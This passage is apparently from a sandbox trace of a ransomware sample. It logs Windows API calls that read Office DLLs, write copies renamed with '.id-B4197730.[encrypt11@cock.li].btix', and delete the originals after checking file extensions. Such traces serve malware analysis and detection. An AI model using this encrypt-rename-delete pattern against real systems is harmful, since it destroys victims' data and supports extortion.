hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.134] SetEndOfFile (hFile=0x2fc) returned 1 [0157.135] CloseHandle (hObject=0x2fc) returned 1 [0157.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.135] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 1 [0157.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll") returned 77 [0157.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll") returned 77 [0157.135] lstrlenW (lpString=".doc") returned 4 [0157.135] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0157.135] lstrlenW (lpString=".docx") returned 5 [0157.135] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0157.135] lstrlenW (lpString=".pdf") returned 4 [0157.135] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0157.135] lstrlenW (lpString=".xls") returned 4 [0157.135] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0157.135] lstrlenW (lpString=".xlsx") returned 5 [0157.135] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0157.135] lstrlenW (lpString=".ppt") returned 4 [0157.135] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0157.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll") returned 77 [0157.135] lstrlenW (lpString=".zip") returned 4 [0157.136] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0157.136] lstrlenW (lpString=".rar") returned 4 [0157.136] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0157.136] lstrlenW (lpString=".bz2") returned 4 [0157.136] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0157.136] lstrlenW (lpString=".7z") returned 3 [0157.136] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0157.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll") returned 77 [0157.136] lstrlenW (lpString=".dbf") returned 4 [0157.136] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0157.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll") returned 77 [0157.136] lstrlenW (lpString=".1cd") returned 4 [0157.136] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0157.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll") returned 77 [0157.136] lstrlenW (lpString=".jpg") returned 4 [0157.136] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0157.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll") returned 77 [0157.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll") returned 77 [0157.136] lstrlenW (lpString=".doc") returned 4 [0157.136] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0157.136] lstrlenW (lpString=".docx") returned 5 [0157.136] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0157.136] lstrlenW (lpString=".pdf") returned 4 [0157.136] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0157.136] lstrlenW (lpString=".xls") returned 4 [0157.136] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0157.136] lstrlenW (lpString=".xlsx") returned 5 [0157.136] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0157.136] lstrlenW (lpString=".ppt") returned 4 [0157.136] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0157.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll") returned 77 [0157.136] lstrlenW (lpString=".zip") returned 4 [0157.136] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0157.137] lstrlenW (lpString=".rar") returned 4 [0157.137] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0157.137] lstrlenW (lpString=".bz2") returned 4 [0157.137] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0157.137] lstrlenW (lpString=".7z") returned 3 [0157.137] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0157.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll") returned 77 [0157.137] lstrlenW (lpString=".dbf") returned 4 [0157.137] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0157.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll") returned 77 [0157.137] lstrlenW (lpString=".1cd") returned 4 [0157.137] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0157.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll") returned 77 [0157.137] lstrlenW (lpString=".jpg") returned 4 [0157.137] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0157.137] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0157.137] lstrlenW (lpString="api-ms-win-crt-string-l1-1-0.dll") returned 32 [0157.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0157.138] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=24768) returned 1 [0157.138] CloseHandle (hObject=0x2fc) returned 1 [0157.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll")) returned 0x220 [0157.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0157.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0157.138] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.138] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0157.139] GetLastError () returned 0x0 [0157.139] ReadFile (in: hFile=0x2fc, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x60c0, lpOverlapped=0x0) returned 1 [0157.141] WriteFile (in: hFile=0x364, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x60d0, lpOverlapped=0x0) returned 1 [0157.142] ReadFile (in: hFile=0x2fc, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.142] WriteFile (in: hFile=0x364, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x114, lpOverlapped=0x0) returned 1 [0157.142] SetEndOfFile (hFile=0x364) returned 1 [0157.142] CloseHandle (hObject=0x364) returned 1 [0157.142] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.142] SetEndOfFile (hFile=0x2fc) returned 1 [0157.143] CloseHandle (hObject=0x2fc) returned 1 [0157.143] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.143] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll")) returned 1 [0157.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll") returned 78 [0157.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll") returned 78 [0157.143] lstrlenW (lpString=".doc") returned 4 [0157.143] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0157.144] lstrlenW (lpString=".docx") returned 5 [0157.144] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0157.144] lstrlenW (lpString=".pdf") returned 4 [0157.144] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0157.144] lstrlenW (lpString=".xls") returned 4 [0157.144] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0157.144] lstrlenW (lpString=".xlsx") returned 5 [0157.144] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0157.144] lstrlenW (lpString=".ppt") returned 4 [0157.144] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0157.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll") returned 78 [0157.144] lstrlenW (lpString=".zip") returned 4 [0157.144] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0157.144] lstrlenW (lpString=".rar") returned 4 [0157.144] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0157.144] lstrlenW (lpString=".bz2") returned 4 [0157.144] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0157.144] lstrlenW (lpString=".7z") returned 3 [0157.144] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0157.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll") returned 78 [0157.144] lstrlenW (lpString=".dbf") returned 4 [0157.144] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0157.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll") returned 78 [0157.144] lstrlenW (lpString=".1cd") returned 4 [0157.144] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0157.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll") returned 78 [0157.144] lstrlenW (lpString=".jpg") returned 4 [0157.144] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0157.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll") returned 78 [0157.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll") returned 78 [0157.144] lstrlenW (lpString=".doc") returned 4 [0157.144] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0157.144] lstrlenW (lpString=".docx") returned 5 [0157.145] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0157.145] lstrlenW (lpString=".pdf") returned 4 [0157.145] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0157.145] lstrlenW (lpString=".xls") returned 4 [0157.145] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0157.145] lstrlenW (lpString=".xlsx") returned 5 [0157.145] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0157.145] lstrlenW (lpString=".ppt") returned 4 [0157.145] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0157.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll") returned 78 [0157.145] lstrlenW (lpString=".zip") returned 4 [0157.145] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0157.145] lstrlenW (lpString=".rar") returned 4 [0157.145] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0157.145] lstrlenW (lpString=".bz2") returned 4 [0157.145] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0157.145] lstrlenW (lpString=".7z") returned 3 [0157.145] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0157.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll") returned 78 [0157.145] lstrlenW (lpString=".dbf") returned 4 [0157.145] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0157.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll") returned 78 [0157.145] lstrlenW (lpString=".1cd") returned 4 [0157.145] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0157.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll") returned 78 [0157.145] lstrlenW (lpString=".jpg") returned 4 [0157.145] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0157.145] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0157.145] lstrlenW (lpString="api-ms-win-crt-time-l1-1-0.dll") returned 30 [0157.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0157.146] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=21184) returned 1 [0157.146] CloseHandle (hObject=0x2fc) returned 1 [0157.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll")) returned 0x220 [0157.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0157.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0157.147] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.325] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0157.334] GetLastError () returned 0x0 [0157.334] ReadFile (in: hFile=0x2fc, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x52c0, lpOverlapped=0x0) returned 1 [0157.335] WriteFile (in: hFile=0x374, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x52d0, lpOverlapped=0x0) returned 1 [0157.336] ReadFile (in: hFile=0x2fc, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.337] WriteFile (in: hFile=0x374, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x110, lpOverlapped=0x0) returned 1 [0157.337] SetEndOfFile (hFile=0x374) returned 1 [0157.337] CloseHandle (hObject=0x374) returned 1 [0157.337] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.337] SetEndOfFile (hFile=0x2fc) returned 1 [0157.338] CloseHandle (hObject=0x2fc) returned 1 [0157.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.338] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll")) returned 1 [0157.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll") returned 76 [0157.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll") returned 76 [0157.338] lstrlenW (lpString=".doc") returned 4 [0157.338] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0157.338] lstrlenW (lpString=".docx") returned 5 [0157.338] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0157.338] lstrlenW (lpString=".pdf") returned 4 [0157.338] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0157.338] lstrlenW (lpString=".xls") returned 4 [0157.338] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0157.338] lstrlenW (lpString=".xlsx") returned 5 [0157.338] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0157.338] lstrlenW (lpString=".ppt") returned 4 [0157.339] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0157.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll") returned 76 [0157.339] lstrlenW (lpString=".zip") returned 4 [0157.339] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0157.339] lstrlenW (lpString=".rar") returned 4 [0157.339] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0157.339] lstrlenW (lpString=".bz2") returned 4 [0157.339] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0157.339] lstrlenW (lpString=".7z") returned 3 [0157.339] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0157.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll") returned 76 [0157.339] lstrlenW (lpString=".dbf") returned 4 [0157.339] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0157.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll") returned 76 [0157.339] lstrlenW (lpString=".1cd") returned 4 [0157.339] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0157.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll") returned 76 [0157.339] lstrlenW (lpString=".jpg") returned 4 [0157.339] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0157.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll") returned 76 [0157.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll") returned 76 [0157.339] lstrlenW (lpString=".doc") returned 4 [0157.339] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0157.339] lstrlenW (lpString=".docx") returned 5 [0157.339] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0157.339] lstrlenW (lpString=".pdf") returned 4 [0157.339] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0157.339] lstrlenW (lpString=".xls") returned 4 [0157.339] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0157.339] lstrlenW (lpString=".xlsx") returned 5 [0157.339] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0157.339] lstrlenW (lpString=".ppt") returned 4 [0157.339] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0157.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll") returned 76 [0157.340] lstrlenW (lpString=".zip") returned 4 [0157.340] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0157.340] lstrlenW (lpString=".rar") returned 4 [0157.340] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0157.340] lstrlenW (lpString=".bz2") returned 4 [0157.340] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0157.340] lstrlenW (lpString=".7z") returned 3 [0157.340] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0157.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll") returned 76 [0157.340] lstrlenW (lpString=".dbf") returned 4 [0157.340] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0157.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll") returned 76 [0157.340] lstrlenW (lpString=".1cd") returned 4 [0157.340] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0157.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll") returned 76 [0157.340] lstrlenW (lpString=".jpg") returned 4 [0157.340] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0157.340] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0157.340] lstrlenW (lpString="msvcp120.dll") returned 12 [0157.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0157.341] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=660136) returned 1 [0157.341] CloseHandle (hObject=0x2fc) returned 1 [0157.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp120.dll")) returned 0x220 [0157.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp120.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0157.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0157.341] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.341] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp120.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0157.755] GetLastError () returned 0x0 [0157.755] ReadFile (in: hFile=0x2fc, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0xa12a8, lpOverlapped=0x0) returned 1 [0157.774] WriteFile (in: hFile=0x338, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xa12b0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xa12b0, lpOverlapped=0x0) returned 1 [0157.783] ReadFile (in: hFile=0x2fc, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.783] WriteFile (in: hFile=0x338, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.783] SetEndOfFile (hFile=0x338) returned 1 [0157.783] CloseHandle (hObject=0x338) returned 1 [0157.783] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.783] SetEndOfFile (hFile=0x2fc) returned 1 [0158.394] CloseHandle (hObject=0x2fc) returned 1 [0158.394] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.395] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp120.dll")) returned 1 [0158.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll") returned 58 